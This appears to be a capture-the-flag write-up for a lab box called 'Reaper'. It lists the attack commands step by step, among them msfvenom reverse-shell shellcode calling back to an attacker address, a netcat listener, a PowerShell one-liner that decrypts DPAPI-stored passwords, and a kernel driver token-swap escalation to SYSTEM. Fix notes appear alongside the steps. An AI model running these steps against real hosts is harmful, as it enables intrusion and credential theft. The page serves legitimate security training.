Reaper
Summary
I enumerated an anonymous FTP service to retrieve a custom TCP "key activation" binary and its sample key file, then reverse-engineered the binary to find a format-string information leak and a stack-based buffer overflow. The format string defeated ASLR by leaking a runtime address, and a crafted key payload (base64-encoded overflow in a field the service never length-checked) drove an IAT-only ROP chain that marked the stack executable and ran shellcode, giving a reverse shell as the low-privileged service account REAPER\keysvc.
A DPAPI-protected credential file in that account's profile was decrypted in-session to recover a cleartext password, which was used to open a full RDP session as the same user. From that session, a vulnerable third-party kernel driver (Reaper.sys) exposing unrestricted arbitrary kernel read/write IOCTLs was abused to overwrite the current process's token pointer with the SYSTEM process's token, escalating to NT AUTHORITY\SYSTEM and granting full control of the host.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Some commands also carry a value in angle brackets — <recovered_password>, <valid_base64_tail> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 5
Baseline service scan.
$ nmap -sC -sV -p21,80,3389,4141,7680 $TARGETConnect to FTP; login as 'anonymous' with any password.
$ ftp $TARGETCRITICAL: switch to binary transfer mode before downloading the EXE, or it is corrupted.
$ ftp> binaryRetrieve the server binary for the custom port-4141 service.
$ ftp> get dev_keysvc.exeRetrieve the sample/reference key file.
$ ftp> get dev_keys.txtFixDisable anonymous FTP and remove development artifacts from itCritical
Exact commands 3
Confirm mitigations: ASLR+NX enabled, no CFG.
$ winchecksec dev_keysvc.exeConnect to the live service to test the menu interactively.
$ nc $TARGET 4141Build a key whose first field is %p (leak primitive) with a correct checksum in the following fields; send via option 1 then trigger via option 2 (Activate key).
$ python3 -c "print('%pX-FE9A1-500-A270-0194-' + '<valid_base64_tail>')"FixNever pass externally controlled input as a printf-family format stringHigh
Exact commands 3
Generate raw reverse-shell shellcode (no encoder needed; Defender is not an obstacle on this host).
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=9001 -f pythonStart the listener to catch the callback.
$ nc -lvnp 9001Pwntools driver: leak module base via the %p format string, compute checksum, base64-encode the ROP+shellcode payload into field 6 of a valid key, send via option 1, trigger via option 2.
$ python3 exploit.py $TARGET 4141FixBounds-check all key fields before copying and enable stack-overflow mitigationsCritical
Exact commands 3
Confirm the shell's identity before touching anything else.
$ whoami
reaper\keysvcConfirm build: Microsoft Windows [Version 10.0.19045.6216].
$ verRead the user flag; result is <user.txt>.
$ type C:\Users\keysvc\Desktop\user.txtExact commands 1
Must run as the same user/session context that created the SecureString export; prints the cleartext password.
$ powershell -NoProfile -Command "$b=Get-Content C:\Users\keysvc\automation.txt | ConvertTo-SecureString; $p=[Runtime.InteropServices.Marshal]::SecureStringToBSTR($b); [Runtime.InteropServices.Marshal]::PtrToStringBSTR($p)"FixStop storing service-account credentials as DPAPI-protected files on diskHigh
Exact commands 1
Replace <recovered_password> with the DPAPI-decrypted credential.
$ xfreerdp /u:keysvc /p:<recovered_password> /v:$TARGET +clipboardExact commands 2
Confirm the vulnerable driver is loaded and running.
$ driverquery /v | findstr reaper.sysPull the driver image off the host for offline reversing in Ghidra/WinDbg.
$ copy \\attacker-share\reaper.sys .FixRemove or patch the vulnerable Reaper kernel driverCritical
Exact commands 5
Cross-compile the token-stealing kernel exploit as a native Windows x64 PE.
$ x86_64-w64-mingw32-gcc -o exploit.exe reaper_priv_flag.c -lpsapiTransfer the compiled exploit onto the target over the RDP session / SMB.
$ copy exploit.exe \\$TARGET\C$\Users\keysvc\Desktop\Run from the RDP session; opens \\.\Reaper, performs the token swap, and spawns a SYSTEM shell.
$ exploit.exeConfirm SYSTEM before reading the final flag.
$ whoamiRead the root flag; result is <root.txt>.
$ type C:\Users\Administrator\Desktop\root.txtAttack patterns used
The transferable techniques behind this compromise.
SeImpersonate Abuse (Token Impersonation)Windows · Privilege EscalationT1134.001
What it is
Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. Coerce a SYSTEM process into authenticating to an endpoint you control — a COM service, an RPC interface, a named pipe — then impersonate the SYSTEM token it presents, escalating from the service account to NT AUTHORITY\SYSTEM. Churrasco (Token Kidnapping) does this against RPCSS and MSDTC on Server 2003; the 'Potato' family (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) are the modern tools for the same privilege on later Windows.
Why it works
Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.
Read more
Exposed services
| 21/tcp | ftp Microsoft ftpd |
| 80/tcp | http recon-sweep-discovered |
| 3389/tcp | rdp recon-sweep-discovered |
| 4141/tcp | unknown recon-sweep-discovered |
| 7680/tcp | unknown recon-sweep-discovered |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.